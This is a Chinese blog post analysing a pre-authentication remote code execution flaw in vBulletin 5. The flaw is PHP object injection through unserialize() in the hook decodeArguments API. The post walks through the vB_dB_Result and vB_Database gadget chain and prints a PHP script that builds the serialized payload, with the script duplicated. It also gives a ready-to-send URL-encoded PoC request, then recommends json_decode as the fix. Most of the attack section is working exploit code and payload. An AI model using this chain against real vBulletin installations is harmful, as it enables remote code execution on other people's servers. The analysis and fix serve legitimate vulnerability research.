IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    vBulletin 5 远程命令执行(无需登录)

    没穿底裤发表于 2015-11-05 09:33:51
    love 0

    官方公告:http://www.vbulletin.org/forum/showthread.php?p=2558144

    POC 原文地址:http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq

    有个叫 Coldzer0 的家伙在 http://0day.today 上卖 vBulletin 的 RCE exp,vBulletin 的主论坛已经被攻破,据称该漏洞已经存在3年以上。下面是漏洞分析:

    vBulletin 在 /core/vb/api 提供了一些 ajax 的 API 调用,其中有个 hook.php 用到了反序列化:

    public function decodeArguments($arguments) 
    { 
      if ($args = @unserialize($arguments)) 
      { 
        $result = ''; 
    
        foreach ($args AS $varname => $value) 
        { 
          $result .= $varname;

    值得注意的是在[之前的 vBulletin 漏洞](http://drops.wooyun.org/papers/8261)中也出现过反序列化造成的问题。

    看起来这次 unserialize() 不会有什么漏洞了,但是在 /core/vb/db/result.php 里发现了可疑的地方:

    class vB_dB_Result implements Iterator 
    { 
    ... 
      public function rewind() 
      { 
        //no need to rerun the query if we are at the beginning of the recordset. 
        if ($this->bof) 
        { 
          return; 
        } 
    
        if ($this->recordset) 
        { 
          $this->db->free_result($this->recordset); 
        }

    每次用 foreach() 访问一个迭代器对象时,rewind() 这个函数都会被首先调用。我们再看看 /core/vb/database.php 中的 free_result() 函数:

    abstract class vB_Database 
    { 
    ...   
      function free_result($queryresult) 
      { 
        $this->sql = ''; 
        return @$this->functions['free_result']($queryresult); 
      }

    因此这里产生了一个对象注入,原理可以看看 OWASP 里的 [PHP Object Injection](https://www.owasp.org/index.php/PHP_Object_Injection)。

    我们可以构造一个序列化对象测试下:

    $ php << 'eof' 
    <?php 
    class vB_Database { 
           public $functions = array(); 
    
           public function __construct() 
           { 
                   $this->functions['free_result'] = 'phpinfo'; 
           } 
    } 
    
    class vB_dB_Result { 
           protected $db; 
           protected $recordset; 
    
           public function __construct() 
           { 
                   $this->db = new vB_Database(); 
                   $this->recordset = 1; 
           } 
    } 
    
    print urlencode(serialize(new vB_dB_Result())) . "\n"; 
    eof

    $ php << 'eof' 
    <?php 
    class vB_Database { 
           public $functions = array(); 
    
           public function __construct() 
           { 
                   $this->functions['free_result'] = 'phpinfo'; 
           } 
    } 
    
    class vB_dB_Result { 
           protected $db; 
           protected $recordset; 
    
           public function __construct() 
           { 
                   $this->db = new vB_Database(); 
                   $this->recordset = 1; 
           } 
    } 
    
    print urlencode(serialize(new vB_dB_Result())) . "\n"; 
    eof

    得到 URL 编码后的字符串:

    O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D

    解一下码便于分析:

    O:12:"vB_dB_Result":2:{s:5:"*db";O:11:"vB_Database":1:{s:9:"functions";a:1:{s:11:"free_result";s:7:"phpinfo";}}s:12:"*recordset";i:1;}

    PHP 序列化的格式可以参看这篇文章:[PHP 序列化(serialize)格式详解](http://www.neatstudio.com/show-161-1.shtml)。

    所以最终的 POC 就是:

    http://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D

    修复方案在上文提到的 OWASP 的资料中已经说明:

    >Do not use unserialize() function with user-supplied input, use JSON functions instead.

    把 unserialize() 换成 json_decode() 就行。



沪ICP备19023445号-2号
友情链接